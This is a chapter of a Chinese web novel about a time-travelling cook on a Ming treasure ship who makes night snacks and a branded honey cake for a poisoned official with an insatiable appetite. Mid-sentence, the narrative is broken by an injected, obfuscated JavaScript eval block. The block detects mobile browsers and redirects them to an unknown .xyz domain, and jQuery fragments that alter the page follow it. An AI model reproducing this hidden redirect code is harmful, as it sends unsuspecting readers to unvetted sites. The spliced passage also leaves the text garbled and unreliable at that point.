又到裴宴舟的例行诊脉日子,他伸出手腕放在桌案脉枕上,如实答道:“用药后,眼疾情况大有改善。”
冯时仔细探查着他的脉象,点点头,接着便问询道:“那其他感觉呢?嗅觉、味觉、听觉还有触觉呢?”
“如今一切正常。”
裴宴舟顿了顿,欲言又止,今日蔺金甲当值,药堂只剩他和冯时两人,便无所顾忌,直接开口补充道,“但又不太正常,我现在一顿能吃三碗饭,半夜老觉得饿!”
冯时闭眼沉思,一切仿佛都在掌握之中,胸有成竹回道,“那还是中毒后遗症,能吃则多吃,多吃也无妨。”
裴宴舟应声,虽然毒仍未顺利解开,靠着冯时的特效药,至少先解决了他入夜眼瞎的燃眉之急,不过有这段时间的经验,他听音辨位的功力倒是大有长进。
*
“喏!这是我托阿班①照你给的图纸做的。”
苏素白悄悄把手里的东西递给姜月照。
“谢谢啦!”姜月照瞄了眼,小心把东西揣进怀里。
那模样别说还原了七八分,几乎一比一复刻出来,她正是想借着这工具,在宝船上名声大噪。
眼下三时三餐伙房的灶台都没歇息过,她暂时没找到时间,来好好练习这道菜。
不过说来奇怪,近日给副指挥使大人送去的食盒,姜月照按照小旗提报要求,每顿份量按照五人份进行制作,伙房信息汇总,冯医官与蔺千户这段时间并没有和副指挥使大人一同用餐。
副指挥使大人,一个人吃掉五个人的饭菜?!
他是哪里来的饕餮大胃王吗?
即使是五人份的定量,也没有超出宝船上,属于副指挥使大人官阶餐标定量,姜月照虽然好奇,但唯有默默准备,不敢多问半句。
皓月当空。
宝船仍在茫茫无边的海面上飞速前进着,大家准备歇息,孙荣在船上找了好一会儿,终于在底舱犄角旮旯的地方,寻到伙夫寝室。
他手里掌灯,越往下走,越发觉周遭的空气也越来越潮湿起来。让他惊愕的是,这处船舱的墙壁上,竟然还长着青苔水草。
“麻烦找找伙夫姜氏。”
睡得有些迷糊的姜月照被人喊醒,身边的小渔儿也跟着醒了,小孩打了个哈欠,揉了揉他那双大眼睛。
姜月照穿戴整齐,出来便瞧见平常跟她打交道最多的锦衣卫小旗孙荣。
“孙大人!”姜月照不敢得罪,对孙荣半夜来访,很是疑惑。
孙荣嘿嘿一笑,态度有些抱歉,“那个打扰了,我们大人说他饿极了……所以特意来差我找人……麻烦伙夫再给他做点什么吃的……当做夜宵。”
夜宵,饿极了?!
这人果然是饕餮转世。
姜月照拧了张帕子擦脸,让自己清醒些,碰上生火一事,还得要叫上小渔儿一起才行。
夜半,无边无际的滚滚海水就像宝船外的巨大深渊,让甲板上的姜月照和小渔儿不自觉手拉着手,紧紧靠在一起走。
来到伙房,孙荣帮忙点燃烛台,昏暗中的伙房是平常白天中熟悉的模样,姜月照紧张的心情暂时缓解。
“孙大人!”姜月照见孙荣要走,喊住他,“裴大人对夜宵,有特别要求吗?”
这个问题,孙荣提前问过裴大人。
裴大人当时正在誊写航海日志,如同往常,冷冰冰地抬眼望着他,似乎很认真地思考半天,没有答案。
孙荣便重复原话,“大人说:‘全凭伙夫安排’。”
“好的。”姜月照开始翻找着,看看这伙房里,还剩下哪些能用的新鲜食材。
面粉、蜂蜜还有牛乳……
“这牛乳,”姜月照将牛乳倒进小碗里尝了尝,“竟然还没馊!”
她顿时有了主意,一直想着没时间练习她的大作,这不恰巧是天载难逢的机会来了。
至于给裴大人送去什么夜宵,姜月照转头朝小渔儿交代,生火烧锅水,给他煮完阳春面打发了就行。
姜月照取了只空碗,放入一勺生抽和香油,两勺猪油,配上切好的葱花。
大半夜的伙房没有鸡汤或高汤,她便从存放干货食材的地方,取了些虾米和紫菜放在碗里。
一锅水转眼烧开,姜月照舀了两三勺沸水冲进刚才备好的大碗中,一碗简单快手的阳春面汤底就做好了。
锅中剩余开水,姜月照往里加入少许盐,放进碱面条,被竹竿撑压过,细细的,吃起来口感清爽。
一小会儿的功夫,装阳春面的食盒被递到孙荣手上。
伙房的燃灯未熄,姜月照马不停蹄地准备着下一道菜。
这道菜虽然在姜月照当美食博主的时候做过,但放到今天,制作玉米油的玉米还没传到大明来,她无奈只好换成茶油先试试效果。
小渔儿则是一脸兴奋,虽然不知道哥会做出什么来,但这伙房大半夜没人,意味着他又能吃到好吃的了。
他将炉灶里剩余的柴火放进烤箱预热,瞧见姜月照装了些面粉和蜂蜜在碗里,好奇问道:“哥打算整啥嘞?”
“古早蜂蜜小蛋糕!”
姜月照微微一笑,将蜂蜜和砂糖倒进面粉中,蛋黄和蛋清分离后,蛋清放在无水无油的大碗中备用。
紧接着,她将蛋黄和牛乳按照记忆中的比例,混合进面粉中,搅拌顺滑到无颗粒的状态。
然后,姜月照准备七八根筷子,将刚才的蛋清加入细砂糖后,开始打发,做到这一步,她很想念放在工作室的蛋清打发器,用那个机器打发,只需要半分钟的时间。
而现在,要很久。
终于,蛋清在姜月照的手里,慢慢蓬发起来,就像平日里在海上天边看见一团团柔软的云朵。
“喔。”小渔儿从未见过这样的做法,巨峰葡萄般的眼睛再次问世。
姜月照先取出三分之一的打发蛋清放进蛋黄糊中,手法轻柔,顺时针方向翻拌均匀后,又倒进剩余蛋清,再次翻拌。
嫩黄面糊散发着甜甜的诱人蜂蜜香气,来大明这么久,虽然伙房从未缺少过什么吃食,但小零食她却好久都没吃过,突然很馋这一口。
姜月照取出一大一小的烤盘,清洗干净后,她在大烤盘里倒上清水,往中间小烤盘上倒上蜂蜜小蛋糕的面糊。
简单的“水浴法”装置,就算到了大明,美食博主的专业品格也不会被她轻易放下。
姜月照将烤盘送进烤箱,关上炉门,正式计时。
*
孙荣打开食盒,端出一碗平平无奇阳春面。
裴宴舟一眼扫到那碗面,清汤没有浇头显得很是质朴。
平平无奇是他脑海里冒出来的第一个想法。
“孙荣,”裴宴舟朝门外驻守的侍卫吩咐道,“眼下无事,你去歇息吧。”
“好的,大人。”话音落下,门外人影渐行渐远。
有了冯时的特效药,他天黑眼瞎的毛病有了极大好转,但中毒的另一个后遗症开始显现,那便是无法控制的食欲。
不管是什么食物,他都很想吃。
终于到今夜,人被毒发折磨得饥肠辘辘,裴宴舟忍了很久,实在无法忍受,便让孙荣把那伙夫找来。
眼前的阳春面正在冒着热气,出于习惯,裴宴舟将手里的银针插进试探了后,安全无毒。
这段时间都是这么防备,惹得冯时都在吐槽,“你身上积攒的毒还算少的吗!倒不如以毒攻毒了!”
但裴宴舟依然选择在每次吃饭前,都要插上银针看看,风格我行我素。
换做以前,裴宴舟对面食不会多给一个眼神,如今可能是受毒素影响,也可能是因为这伙夫的关系,不管送来什么,他都欣然,愿意试试。
他轻轻挑起一口细面,优雅地送进嘴里。
这一瞬间,他仿佛从浮躁的宝船,回到烟雨朦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896457|176549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胧的扬州,如丝如缕的细雨从灰蒙蒙的天空飘落下来,眼前翠绿湖光之色,笼罩着一层轻柔薄纱。
宛如一位羞涩,带着面纱的少女站在扬州湖面桥头上,撑伞伫立等他。
这份味道很淡,却有着极其浓重的江南水乡的缱绻依恋。
不知不觉,这碗阳春面被裴宴舟吃的连汤都没剩,在抚慰着他无法填满的食欲,起上了很大的作用。
他将空碗重新放回食盒,转身从桌案上的书堆中,取出一个皱皱巴巴的小册子。
册子上的笔迹看着十分拙劣,他为此研究好几日,却没找到一点头绪,想着反正都已经被他完全誊抄,打算这本子还给那伙夫,看看后续会不会又有什么新的线索。
夜半船上除了当值的侍卫和水手,四下无人,在波澜的海面上显得很是静谧。
裴宴舟穿过尾楼甲板,亲自提着食盒往伙房走去。
*
时间到。
“现烤的古早蜂蜜小蛋糕,新鲜出炉咯!”
昏暗的伙房里,姜月照即使压低声音,也掩盖不住自己的兴奋。
“哇哦!”
小渔儿咽了咽口水,小蛋糕未曾加一滴水,伙房里弥漫着蛋奶香气,他以前好像从未吃过。
烤盘被姜月照隔着手帕端出来,绵密的蛋糕轻轻晃动,带着独特的湿润触感和弹性,蛋糕表面还泛着微微焦黄,她很满意这个蛋糕的卖相,已经成功了一半。
“已经好了吗?”小渔儿为了等到这一口,激动到苍蝇搓手。
“等等,”姜月照从角落里拿出一个工具,是她托苏素白,麻烦船上的手工活不错的水手,专门按照她给的图纸制作的,“还有一个重要的步骤。”
小工具被姜月照洗过很多遍,铁块在昏暗光线中,闪闪发光。
烤好的古早蛋糕被她用刀切开,分成几块。
小渔儿看清蛋糕的细腻内部,与寻常的酥饼完全不同,是他从未见过的模样。
接着,姜月照把铁铸的小工具放进炭火堆中,等待片刻后,“滋啦”一声,她在小蛋糕的表面,烙下一块印记。
小渔儿凑上去一看,虽然他现在的字认得不多,但也知道这烙印写的是“姜氏”。
终于,专属“姜氏”的古早蜂蜜小蛋糕,大功告成。
假以时日,这块小蛋糕想必会风靡整个船队的!姜月照仿佛看见郑和大人举着她这块小蛋糕,连连称赞的场景。
倘若届时麻烦郑大人为小蛋糕题字一副,“郑和严选,值得拥有”,那她这小蛋糕岂不是会席卷整个大明。
到时候,她就开启加盟模式,赚它个盆满钵满,后半生她和小渔儿的生活可不用愁了。
姜月照用菜碟给小渔儿盛上一块,顺便递上木勺。
小渔儿擦了擦手,急不可耐地接过来,他用木勺舀上一块,放进嘴里。
这入口即化,美妙醇厚的蛋奶香气,好吃得让小渔儿到抽一口凉气,“这不是小蛋糕,这是天赐的礼物,吃起来就像云朵一样!”
姜月照第一口咬下去,这次试验的蛋糕,似乎比她做博主的时候,还要惊艳。
原本的玉米油被替换成茶油,此处的影响不大。
或许是因为食材的关系,身处古代,工业化进程还未到来,水质环境暂时没有遭到污染,鸡蛋更有蛋味,面粉也有原本的面粉香,所以小蛋糕的味道让人回味无穷。
再咬一口,每一次的细品,都能感受到满满的蛋奶滋味。
要能再配上一杯冰美式,放在度假村里,套餐估计都得两百块起步。
“大半夜的,你们鬼鬼祟祟在做什么?!”一道冰冷的声音骤然响起。
这声音把姜月照吓了一大跳,她手上的蛋糕没拿稳,小蛋糕更是一骨碌滚到伙房门口。
来人身量极高,他抬脚往前,那块掉在地上,被打上“姜氏”烙印的小蛋糕,瞬间被人无情踩扁。